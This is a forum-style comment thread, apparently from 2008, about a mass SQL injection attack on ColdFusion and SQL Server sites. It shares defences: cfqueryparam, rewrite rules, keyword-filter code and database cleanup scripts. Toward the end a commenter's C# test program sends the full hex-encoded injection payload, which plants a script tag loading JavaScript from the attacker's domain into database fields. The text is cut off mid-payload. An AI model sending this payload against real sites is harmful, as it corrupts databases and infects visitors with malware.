Also, this attack seems to have targeted ColdFusion sites specifically, and the first recommendation I found was to make sure you are using . I’m surprised this wasn’t mentioned under how to prevent SQL injection hacks.

We did however manage to dig up at least a portion of the payload. If for some reason users had it the infected website while the payload was available it would have installed a virus on their computer.

We’ll leave out the details of how the payload was loaded onto the users computer as theres no need to spread that type of information.

Marc it looks like in your sentence about “the first recommendation I found was…” is missing the last word? We’re assuming your going to suggest a cold fusion specific function to clean the input?

Please clarify and we will gladly update the article.

Thanks

We believe the command you left out above was the cfqueryparams function.

Thanks for the tip,
Devit

# Helicon ISAPI_Rewrite configuration file
# Version 3.0.0.25

RewriteEngine on
RewriteCond %{QUERY_STRING} .*char\(4000\).* [NC]
RewriteRule . - [F]
RewriteCond %{QUERY_STRING} .*CHAR%284000%28.* [NC]
RewriteRule . - [F]

Stops the attack cold, before your application server even tries to execute.

Of course, this is a bandaid approach; one change to the attack string, and you’re vulnerable yet again. Proper user data validation and use of CFQUERYPARAM are the real answers… but for those that have to support older apps, or have a ton of code to go through, this can at least put a stop to the current threat… and it gives you quick a server-wide solution for stopping similar threats you may face while you fix your code.

Apache users can obviously use mod_rewrite to accomplish the same goal.

HTH

One thing we did was build a little function looking for the following terms in user entry:

declare
execute
select
varchar

We are logging those source IPs to a table and throwing CFABORT immediately for any subsequent traffic. Not really helpful. We collected over 10,000 unique IP addresses in 24 hours, and were attacked again.

Our symptoms have been the same as mentioned here. This little attack appends a javascript to the end of just about every field in every table (varchars). The js in our database today was pointed at http://abc.verynx.cn/w.js - but it’s been a different subdomain each time.

If someone had been to a site that’s infected by the 1.verynx.cn (virus?) would a commercial virus program be able to detect it and remove it? Like Norton, Zone Alaram, Kaspersky, etc…? And yes I’ve watched the DNS go from 127.0.0.1 to other values that work! It’s still out there and going on! Patch your sites!

Thanks,
Frank

For other languages can transcribe, of course remember to add the name of the friend.

1.verynx.cn points to 127.0.0.1 and is blocked by Firefox (at least version 3) but not Internet Explorer.

Following CF at the top of your application.cfm page is quite efficient against any kind of injection attacks (at least as far as I now know):

I may have been a little overcautious with maybe too long a list, but I’m rather safe than sorry. If anyone has a better idea??

I used HP Srawlr 1.0 to scan my site for vulnerabilities and found that cfqueryparam alone isn’t enough.

i created a script to remove it. hopefully this might help somebody out there with removing the code that was inserted into their db:

update TABLENAME
set FIELDNAME = replace(FIELDNAME,’”>

as mentioned above, cfqueryparam is good for escaping all data,ie:
cfqueryparam value=”#FORM.first_name#” cfsqltype=”CF_SQL_VARCHAR”
cfqueryparam value=”#URL.id” cfsqltype=”CF_SQL_INTEGER”

Our (naive) mistake was in believing that only input/form data was vulnerable - and not dynamic urls that pull simple select statements.

Other solutions might involve creating a read-only db user for any read only areas, scanning the db at intervals for script/object/iframe etc.

I also found a script that runs through and examines all your queries to make sure they’re parameterized which we found useful:
http://www.cfprimer.com/downloads.cfm

My php/mysql sites were also hit (but failed, fortunately) - while the above targets SQL Server, I read somewhere else that there’s a working MySQL version of this.

I believe the js installed a zombie virus, to be called upon to propagate the attack. Tracing the IPs where we were getting hit from, many were from cable connections in the states. Very sci fi.

Then today ::

59.6.82.62 - - [24/Jul/2008:07:59:25 -0400] “GET / HTTP/1.1″ 403 825 “-” “Microsoft URL Control - 6.00.8169″
208.80.193.40 - - [24/Jul/2008:08:00:13 -0400] “GET / HTTP/1.0″ 200 36899 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SIMBAR Enabled; SIMBAR={CF07971C-C698-451d-BAB9-18491326916A}; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Media Center PC 2.8; MEGAUPLOAD 1.0)”
208.80.193.36 - - [24/Jul/2008:13:02:02 -0400] “GET / HTTP/1.0″ 200 36899 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft; ZangoToolbar 4.8.2)”

WTF is this?

SQL INJECTION PROTECTOR CODE (stored in /application.cfm)

========================================================

HACK ATTEMPT RECORDED FROM IP: #remote_addr#

#DateFormat(Now(), “MM-DD-YYYY”)# @ #TimeFormat(Now(), “HH:MM:SS”)#

#script_name#&#query_string#

HACK ATTEMPT RECORDED:

#DateFormat(Now(), “MM-DD-YYYY”)# @ #TimeFormat(Now(), “HH:MM:SS”)#

IP: #remote_addr#

ATTEMPT:

http://#server_name#/#script_name#&#query_string#

<cfparam name=”query_string” default=”">

<cfif query_string contains “SELECT” or query_string contains “EXECUTE” or query_string contains “DECLARE” or query_string contains “VARCHAR” or query_string contains “CONVERT”>

<cfoutput>

<pre>

<h1>HACK ATTEMPT RECORDED FROM IP: #remote_addr#</h1>

#DateFormat(Now(), “MM-DD-YYYY”)# @ #TimeFormat(Now(), “HH:MM:SS”)#

#script_name#&#query_string#

</pre>

</cfoutput>

<cfmail

to=”mark@warrick.net”

from=”webmaster@zapconnect.com”

subject=”HACK ATTEMPT FROM IP: #remote_addr#”>

HACK ATTEMPT RECORDED:

#DateFormat(Now(), “MM-DD-YYYY”)# @ #TimeFormat(Now(), “HH:MM:SS”)#

IP: #remote_addr#

ATTEMPT:

http://#server_name#/#script_name#&#query_string#

</cfmail>

<cfabort>

</cfif>

========================================================

select name from product where productoid=

select name from product where variable=

For more security ADD MAXLENGHT:

select name from product where productoid=

select name from product where variable=

I know it is time consuming to check all your queries, but here is a great tool to check them and easily fix them and u secured forever !!!!

http://qpscanner.riaforge.org/

Very great tool!

“select name from product where productoid=”

“select name from product where variable=”

For more security ADD MAXLENGHT:

“select name from product where productoid=”

“select name from product where variable=”

John Bell

My webmaster/host-securenet systems says that the hits have not come from his side but from outside and is my responsibility. Now he wants 2,000.00 to fix with all new codes,etc.

What shall I do?

We believe the virus was a worm. It looks like it could be one of the following:
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FPOPWIN%2ECK&VSect=P
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FNSPAK%2EAB&VSect=P
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FAUTORUN%2ETD&VSect=P
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FSILLY%2EGF&VSect=P

We think a full virus scan would detect anything it may have loaded. We’ve found sometimes if a machine is infected using an online virus scanner such as http://housecall.trendmicro.com can be useful.

Hope that helps.

Depending when your webmaster created the code you may be able to push back and get at least some of the cost removed. It’s obviously very hard to give any type of advice with such little information so we won’t even try. What we can comment on is generally there is a warranty period for code. Also you may want to research alternatives such as competitors or try and hold the person who wrote the code accountable for the security problem.

Good Luck.

DECLARE @Offending_String varchar(4000)
DECLARE @T varchar(255),@C varchar(4000)

DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype=’u’
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN

SET @Offending_String = ” –Put the string you want cleared in here
EXEC(’UPDATE [’+@T+’] SET [’+@C+’] = REPLACE([’+@C+’],’+@Offending_String+’,””)’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

http://coldfusion.sys-con.com/node/620373

=============================================================================
If you’re using ColdFusion, to harden your website from sql injection attacks add the following code to your Application.cfm file. If you’re not using ColdFusion, you can translate this code into the language you’re using and it should still work.

This code would reside in your Application.cfm file which gets executed every time a ColdFusion file is requested on the server. What it does is it checks all form and URL variables to see if they contain any patterns matching an SQL SELECT, UPDATE, INSERT, DELETE or DROP statement.

If a match is found, the user is redirected to a message page indicating that a possible SQL Injection attack was made and the SQL injection is prevented.

=============================================================================

I hope this will help.

One of our ColdFusion sites got hit this week by a SQL injection, but fortunately we were able to restore most of the damaged data from a backup. It was a very large app that was insourced from a former contractor and contained literally thousands of queries with parameters that were all missing cfqueryparam. Although we made efforts to use find/replace to update the code and many previous attacks were trapped, there were unfortunately a few odd places that were missed and one of these was the likely point of entry.

In addition to adding cfqueryparam in remaining templates we implemented a custom tag across the whole site that detects the presence of certain SQL keywords in the query string and immediately aborts the request if a match is found. This is a bit kludgy and far from bulletproof, but it at least provides an additional layer of defense and prevents any data from being served or error logging/notification email to occur.

http://coldfusion.sys-con.com/node/620373

L

select ip from hacktable where ip =’#trim(remote_addr)#’

HACK ATTEMPT RECORDED FROM IP: #remote_addr#
#DateFormat(Now(), “MM-DD-YYYY”)# @ #TimeFormat(Now(), “HH:MM:SS”)#
#script_name#&#query_string#

insert hacktable (timelogged,siteid,ip) values(’#DateFormat(Now(),”MM/DD/YYYY”)# #TimeFormat(Now(), “HH:MM:SS”)#’,2,’#remote_addr#’)

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = ‘u’ AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
‘update [’+@T+’] set [’+@C+’] = left(
convert(varchar(8000), [’+@C+’]),
len(convert(varchar(8000), [’+@C+’])) - 6 -
patindex(”%tpircs”’
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

thanks

Marc Funaro (poster #5 above) indicated that he was able to stop the exploits cold by using ISAPI ReWrite (ISRW) to check for the presence of things like “CAST(4000)” in the URL, etc. I had the same idea, and for some reason, this approach doesn’t work on my end — which is what’s puzzling me… (Server is W2K3, IIS6).

As a test, I put a ReWrite rule in place to redirect any and all requests to my site to a bogus URL like fofofoxoxoxo.com. I then pointed a browser (both IE and FF) to the URL in question:

http://www.mysite.com/Index.htm?’DECLARE%20@S%20CHAR(4000)…EXEC(@S);

The browsers each sat there for a few minutes, and then timed out. Odd. I chopped the URL down to only:

http://www.mysite.com/Index.htm?’DECLARE%20@S%20CHAR(4000)

and I was redirected as per my ISRW rule.

My next thought was that perhaps the browsers were getting tripped up with the multiple @ signs in there, trying to resolve some other IP address using the long 0x… CAST as the address. So, I then whipped up a quick C# program to perform the GET requests and dump back the output. Now things got VERY strange…

With the ISRW rule in place still redirecting ALL requests to mysite.com to fofofoxoxo.com, sending the SQL injection request via my C# app still caused the request to timeout, as if something on the server was trying to do something with the request before any of the ISAPI filters. I confirmed that ISAPI_REWRITE was the first filter in the execution chain, and it was(is). So — what the heck is the server doing with the request?

I continued to send variations of the SQL inject string to the server, including:

* One in which I changed CAST to XAST and EXEC to QXEC. Everything else was the same. This request did NOT timeout on the server!

* One in which I changed the contents of the CAST(…) from 0×4445435… to 0×11111… (same length data). This request did NOT timeout on the server!

* Several in which I progressively chopped pieces off the end of the CAST(…) data. After the string got sufficiently short (the exact length, I don’t recall), these requests stopped timing out on the server.

All of this has left me quite puzzled. With ISAPI_REWRITE being the first filter in my list, what exactly is going on on the server end that causes the request to timeout for the SQL inject request in question? Even with a rule in place to redirect ALL requests elsewhere, some requests (like the SQL inject) never get processed. WHY? What is going on?

For reference, here is the C# source for those interested in trying it themselves (replace mysite.com with your own site.)

—-

using System;
using System.Net.Sockets;
public class Client
{
static public void pause()
{
Console.WriteLine( “\r\n***** Done *****\r\n” );
Console.ReadKey();
}

static public void Main(string[] Args)
{
TcpClient socketForServer;
try
{
socketForServer = new TcpClient(”www.mysite.com”, 80);
}
catch
{
Console.WriteLine(”Failed to connect to server at {0}:999″, “mysite.com”);
pause();
return;
}
NetworkStream networkStream = socketForServer.GetStream();
System.IO.StreamReader streamReader =
new System.IO.StreamReader(networkStream);
System.IO.StreamWriter streamWriter =
new System.IO.StreamWriter(networkStream);
try
{
string outputString;
// read the data from the host and display it
{

//streamWriter.WriteLine(”GET / HTTP/1.1\r\nHost: www.mysite.com\r\n\r\n”);
//SET%20@S=CAST(0×4445434C415245204054207661726368617228323535292
//C40432076617263686172283430303029204445434C415245205461626C655F437
//572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6
//E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732
//06220776865726520612E69643D622E696420616E6420612E78747970653D27752
//720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7
//220622E78747970653D323331206F7220622E78747970653D31363729204F50454
//E205461626C655F437572736F72204645544348204E4558542046524F4D2020546
//1626C655F437572736F7220494E544F2040542C4043205748494C4528404046455
//443485F5354415455533D302920424547494E20657865632827757064617465205
//B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B27272
//23E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F616263
//2E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D27272
//0776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746
//C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782
//E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204
//E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404
//320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415
//445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

// Hangs:
//String inject_str = “GET /Index.htm?’;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0×4445434C41
//5245204054207661726368617228323535292C4043207661726368617228343030
//3029204445434C415245205461626C655F437572736F7220435552534F5220464F
//522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F62
//6A6563747320612C737973636F6C756D6E73206220776865726520612E69643D62
//2E696420616E6420612E78747970653D27752720616E642028622E78747970653D
//3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F
//7220622E78747970653D31363729204F50454E205461626C655F437572736F7220
//4645544348204E4558542046524F4D20205461626C655F437572736F7220494E54
//4F2040542C4043205748494C4528404046455443485F5354415455533D30292042
//4547494E20657865632827757064617465205B272B40542B275D20736574205B27
//2B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269
//7074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73
//223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F
//74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22
//687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F73637269
//70743E3C212D2D272727294645544348204E4558542046524F4D20205461626C6
//55F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626
//C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72
//%20AS%20CHAR(4000));EXEC(@S);”;

// Does not hang:
//String inject_str = “GET /Index.htm?’;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0×4445434C4
//15245204054207661726368617228323535292C4043207661726AS%20CHAR(4000));”;

// Does not hang, despite being same length as the long query above.
//String inject_str = “GET /Index.htm?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXX”;

// Does not hang (only minor mods to long query).
//String inject_str = “GET /Index.htm?’;DECLARE%20@S%20CHAR(4000);SET%20@S=XAST(Vx4445434C
//415245204054207661726368617228323535292C4043207661726368617228
//3430303029204445434C415245205461626C655F437572736F722043555253
//4F5220464F522073656C65637420612E6E616D652C622E6E616D652066726
//F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686
//5726520612E69643D622E696420616E6420612E78747970653D27752720616
//E642028622E78747970653D3939206F7220622E78747970653D3335206F722
//0622E78747970653D323331206F7220622E78747970653D31363729204F504
//54E205461626C655F437572736F72204645544348204E4558542046524F4D2
//0205461626C655F437572736F7220494E544F2040542C4043205748494C45
//28404046455443485F5354415455533D302920424547494E20657865632827
//757064617465205B272B40542B275D20736574205B272B40432B275D3D5B2
//72B40432B275D2B2727223E3C2F7469746C653E3C73637269707420737263
//3D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2
//F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74
//206C696B6520272725223E3C2F7469746C653E3C736372697074207372633
//D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F
//7363726970743E3C212D2D272727294645544348204E4558542046524F4D2
// //0205461626C655F437572736F7220494E544F2040542C404320454E4420434
//C4F5345205461626C655F437572736F72204445414C4C4F43415445205461
//626C655F437572736F72%20AS%20AHAR(4000));QXEC(QS);”;

//String inject_str = “GET /Index.htm?’;DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update [’+@T+’] set [’+@C+’]=[’+@C+’]+”\”>

—-

using System;
using System.Net.Sockets;
public class Client
{
static public void pause()
{
Console.WriteLine( “\r\n***** Done *****\r\n” );
Console.ReadKey();
}

static public void Main(string[] Args)
{
TcpClient socketForServer;
try
{
socketForServer = new TcpClient(”www.mysite.com”, 80);
}
catch
{
Console.WriteLine(”Failed to connect to server at {0}:999″, “mysite.com”);
pause();
return;
}
NetworkStream networkStream = socketForServer.GetStream();
System.IO.StreamReader streamReader =
new System.IO.StreamReader(networkStream);
System.IO.StreamWriter streamWriter =
new System.IO.StreamWriter(networkStream);
try
{
string outputString;
// read the data from the host and display it
{

//streamWriter.WriteLine(”GET / HTTP/1.1\r\nHost: www.mysite.com\r\n\r\n”);
//SET%20@S=CAST(0×4445434C41524520405420766172636861722832353529
//2C40432076617263686172283430303029204445434C415245205461626C655F
//437572736F7220435552534F5220464F522073656C65637420612E6E616D652C
//622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C75
//6D6E73206220776865726520612E69643D622E696420616E6420612E78747970
//653D27752720616E642028622E78747970653D3939206F7220622E787479706
//53D3335206F7220622E78747970653D323331206F7220622E78747970653D313
//63729204F50454E205461626C655F437572736F72204645544348204E4558542
//046524F4D20205461626C655F437572736F7220494E544F2040542C404320574
//8494C4528404046455443485F5354415455533D302920424547494E206578656
//32827757064617465205B272B40542B275D20736574205B272B40432B275D3D5
//B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633
//D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736
//3726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696
//B6520272725223E3C2F7469746C653E3C736372697074207372633D226874747
//03A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743
//E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F4
//37572736F7220494E544F2040542C404320454E4420434C4F5345205461626C6
//55F437572736F72204445414C4C4F43415445205461626C655F437572736F72%
//20AS%20CHAR(4000));EXEC(@S);

// Hangs:
//String inject_str = “GET /Index.htm?’;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0×4445434C41524
//5204054207661726368617228323535292C4043207661726368617228343030
//3029204445434C415245205461626C655F437572736F7220435552534F52204
//64F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
//9736F626A6563747320612C737973636F6C756D6E7320622077686572652061
//2E69643D622E696420616E6420612E78747970653D27752720616E642028622
//E78747970653D3939206F7220622E78747970653D3335206F7220622E787479
//70653D323331206F7220622E78747970653D31363729204F50454E205461626
//C655F437572736F72204645544348204E4558542046524F4D20205461626C65
//5F437572736F7220494E544F2040542C4043205748494C45284040464554434
//85F5354415455533D302920424547494E20657865632827757064617465205B
//272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B272
//7223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F61
//62632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2
//D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C
//2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E7
//66572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727
//294645544348204E4558542046524F4D20205461626C655F437572736F72204
//94E544F2040542C404320454E4420434C4F5345205461626C655F437572736F
//72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHA
//R(4000));EXEC(@S);”;

// Does not hang:
//String inject_str = “GET /Index.htm?’;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0×4445434C41
//5245204054207661726368617228323535292C4043207661726AS%20CHAR(4000));”;

// Does not hang, despite being same length as the long query above.
//String inject_str = “GET /Index.htm?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
//XXXXXX”;

// Does not hang (only minor mods to long query).
//String inject_str = “GET /Index.htm?’;DECLARE%20@S%20CHAR(4000);SET%20@S=XAST(Vx4445434C4
//15245204054207661726368617228323535292C40432076617263686172283430303029204
//445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637
//420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C7379736
//36F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653
//D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F722
//0622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626
//C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736
//F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292
//0424547494E20657865632827757064617465205B272B40542B275D20736574205B272B404
//32B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269707420737263
//3D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736372697074
//3E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2
//F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782
//E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542
//046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4
//F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F4375727
//36F72%20AS%20AHAR(4000));QXEC(QS);”;

// Does not hang, despite being same length as original, with only the
// CAST(…) contents changed.
//String inject_str = “GET /Index.htm?’;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0×4444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444444444444444444444444444444444444
//4444444444444444444444444444444%20AS%20CHAR(4000));EXEC(@S);”;

String inject_str = “GET /Index.htm?’;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0×4445434C
//415245204054207661726368617228323535292C40432076617263686172283
//430303029204445434C415245205461626C655F437572736F7220435552534F
//5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D
//207379736F626A6563747320612C737973636F6C756D6E7320622077686572
//6520612E69643D622E696420616E6420612E78747970653D27752720616E642
//028622E78747970653D3939206F7220622E78747970653D3335206F7220622E
//78747970653D323331206F7220622E78747970653D31363729204F50454E205
//4